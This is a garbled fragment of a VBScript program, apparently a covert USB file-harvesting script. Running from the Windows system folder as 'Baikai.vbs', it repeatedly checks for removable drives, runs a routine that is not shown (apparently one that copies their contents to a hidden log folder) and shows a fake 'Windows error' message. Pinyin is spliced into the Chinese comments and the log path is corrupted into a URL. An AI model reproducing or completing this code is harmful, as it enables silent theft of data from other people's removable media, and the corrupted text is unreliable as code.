If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"/Baikai.vbs" Then '如果是在system32
'文件夾不存在則創(chuàng)建 If (not fso.FolderExists(oDistPath & oFolderName)) Then fso.CreateFolder(oDistPath & oFolderName) End If '創(chuàng)建記錄文件 Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"http://Copy.log",True) '循環(huán)監(jiān)測(cè)移動(dòng)存儲(chǔ)設(shè)備插入 Do For Each oDriver In fso.Drives If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then TreeIt(oDriver) Msgbox "Windows 錯(cuò)誤",64 If(oOut=1) then Exit Do End if End If Next WScript.Sleep 15000 Loop Mylog.Close